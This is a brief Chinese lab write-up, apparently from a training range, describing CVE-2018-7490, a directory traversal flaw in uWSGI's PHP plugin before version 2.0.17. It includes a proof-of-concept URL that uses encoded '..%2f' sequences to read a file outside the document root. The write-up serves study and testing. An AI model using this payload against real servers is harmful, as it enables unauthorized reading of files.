作者：Twosssss | 来源：互联网 | 2023-10-10 15:16
CVE-2018-7490（目录穿越）环境：墨者靶场（Linux）工具：火狐Hackbar漏洞描述uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议
CVE-2018-7490（目录穿越）
环境：墨者靶场（Linux）
工具：火狐Hackbar
漏洞描述
uWSGI 是一款 Web 应用程序服务器，它实现了 WSGI、uwsgi 和 http 等协议，并支持通过插件来运行各种语言。
uWSGI 2.0.17之前的PHP插件，没有正确的处理DOCUMENT_ROOT检测，导致用户可以通过..%2f来跨越目录，读取或运行DOCUMENT_ROOT目录以外的文件。
漏洞影响
uWSGI <2.0.17
通过在原链接的基础上构造..%2f来访问key.txt
漏洞POC
http://x.x.x.x:xxxx/..%2f..%2fkey.txt
京公网安备 11010802041100号